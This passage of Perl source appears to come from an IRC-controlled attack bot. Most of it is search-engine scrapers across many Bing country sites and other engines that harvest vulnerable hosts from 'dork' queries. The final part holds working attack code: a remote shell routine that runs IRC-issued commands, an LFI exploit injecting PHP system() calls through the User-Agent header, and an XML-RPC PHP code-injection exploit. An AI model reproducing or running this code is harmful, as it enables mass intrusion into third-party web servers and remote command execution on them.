my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingUK/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCA() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingCA/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingBR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingBR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingFR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingFR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingES() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingES/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingIT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingIT/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingBE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingBE/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingNL/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingPT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingPT/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingNO/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingDK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingDK/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingSE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingSE/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingCH() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingCH/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNZ() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingNZ/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingRU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingRU/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingJP() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingJP/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCN() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingCN/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingKR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingKR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingMX() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingMX/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingAR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingAR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingCL/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingAU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingAU/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub sapo(){
my @list;
my $key = $_[0];
for ($b=1; $b<=50; $b+=1) {
my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
my $res = &search_engine_query($search);
if ($res !~ m/Next/i) {$b=50;}
while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
my $link = $1;
if ($1 !~ /\.sapo\.pt/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub lycos() {
my @list;
my $key = $_[0];
for ($b=0; $b<=50; $b+=1) {
my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
my $link = $1;
if ($link !~ /lycos/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub uol() {
my @list;
my $key = $_[0];
for ($b=0; $b<=1000; $b+=10) {
my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
my $res = &search_engine_query($search);
if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
my $link = $1;
if ($link !~ /uol\.com\.br|\/web/i){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub seznam() {
my @list;
my $key = $_[0];
for ($b=1; $b<=300; $b+=20) {
my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
my $link = $1;
if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub hotbot() {
my @list;
my $key = $_[0];
for ($b=0; $b<=50; $b+=1) {
my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
my $res = &search_engine_query($search);
if ($res =~ m/had no web result/i) {$b=50;}
while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
my $link = $1;
if ($link !~ /hotbot\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub aol() {
my @list;
my $key = $_[0];
for ($b=0; $b<=300; $b+=10) {
my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
my $link = $1;
if ($link !~ /aol\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub biglobe {
my $key = $_[0];
my @list;
for ($b=1; $b<=500; $b+=10) {
$num += $num;
my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
my $res = &search_engine_query($search);
while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
my $link = $1;
if ($link !~ /biglobe/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
#########################################
sub clean() {
my @cln = ();
my %visit = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visit{$element}++;
push @cln, $element;
}
return @cln;
}
sub links() {
my @list;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push(@list,$host,$hdir);
return @list;
}
sub search_engine_query() {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ($query eq "") { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
my $sget = "GET $query HTTP/1.0\r\n";
$sget .= "Host: $host\r\n";
$sget .= "Accept: */*\r\n";
$sget .= "User-Agent: $uagent\r\n";
$sget .= "Connetion: Close\r\n\r\n";
print $sock $sget;
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
#########################################
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 3; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub cmdlfi() {
my $browser = LWP::UserAgent->new;
my $url = $_[0];
my $cmd = $_[1];
my $chan = $_[2];
my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";
$browser->agent("$hie");
$browser->timeout(7);
$response = $browser->get( $url );
if ($response->content =~ /lobex(.*)byroe/s) {
&msg("$chan","$lfilogo9 ".$1." ");
} else {
&msg("$chan","$lfilogo4 No Output ");
}
}
sub cmdxml() {
my $jed = $_[0];
my $dwa = $_[1];
my $chan = $_[2];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
if ($response->content =~ /bamby(.*)solo/s) {
&msg("$chan","$xmllogo9 $1 ");
} else {
&msg("$chan","$xmllogo4 No Output ");
}
}
sub read_dorks() {
my $dork = uri_escape($_[0]);
my $file = "dorks.txt";
my $success = 0;
open (file,"<$file");
while (my $dorkx=<file>) {
chop($dorkx);
if ($dorkx =~ /$dork/){
$success = 1;
}
}
close file;
return $success;
}
sub write_dorks() {
my $dorks = uri_escape($_[0]);
my $file = "dorks.txt";
open (filex,">>$file");
print filex $dorks."\n";
close filex;
}